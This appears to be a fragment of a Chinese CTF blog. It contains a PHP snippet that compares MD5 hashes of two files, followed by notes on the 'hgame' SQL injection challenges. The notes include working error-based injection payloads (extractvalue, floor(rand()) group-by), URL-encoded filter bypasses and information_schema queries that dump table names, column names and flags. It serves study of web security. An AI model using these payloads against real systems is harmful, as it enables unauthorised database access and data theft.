<?php function readmyfile($path){ $fh = fopen($path, "rb"); $data = fread($fh, filesize($path)); fclose($fh); return $data;}echo '二进制hash '. md5( (readmyfile("1.txt")));echo "<br><br>\r\n";echo 'URLENCODE '. urlencode(readmyfile("1.txt"));echo "<br><br>\r\n";echo 'URLENCODE hash '.md5(urlencode (readmyfile("1.txt")));echo "<br><br>\r\n";echo '二进制hash '.md5( (readmyfile("2.txt")));echo "<br><br>\r\n";echo 'URLENCODE '. urlencode(readmyfile("2.txt"));echo "<br><br>\r\n";echo 'URLENCODE hash '.md5( urlencode(readmyfile("2.txt")));echo "<br><br>\r\n";
传入两个文件输出的urlencode即可
]]>hgame两道sql题都不算太难,有验证不过没过滤,再次响起招新被时间盲注支配的恐惧~,整理一下大致的框架,
按查询的数据类型可以分为数字和字符型
?id=1 and 1=1返回正确则是数字型
?id=1’and’1’=’2返回正确则是字符型
select column_name from information_schema.tables where table_schema =database() limit 0,1
select column_name from information_schema.columns where table_name='表名' limit 0,1
SELECT concat(username,0x3a,0x7e) FROM 列名 limit 3,1
'&& extractvalue(1,concat(0x7e,(select database()),0x7e))#
%27%26%26%0aextractvalue(1,concat(0x7e,(select database()),0x7e))%23
1'%26%26 1=extractvalue(1,database())%23
select count(*),concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
1'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,* ,0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+&code=uoEJ
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,) FROM information_schema.columns where table_name='fl444g' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,fl444g_is_here,0x3a,0x23) FROM fl444g limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
编码问题
注意空格,前面的select &&%0aselect
limit 0,1
从第0个开始取一个。
题目hint里给了是基于约束的sql攻击,搜索了一下,
]]>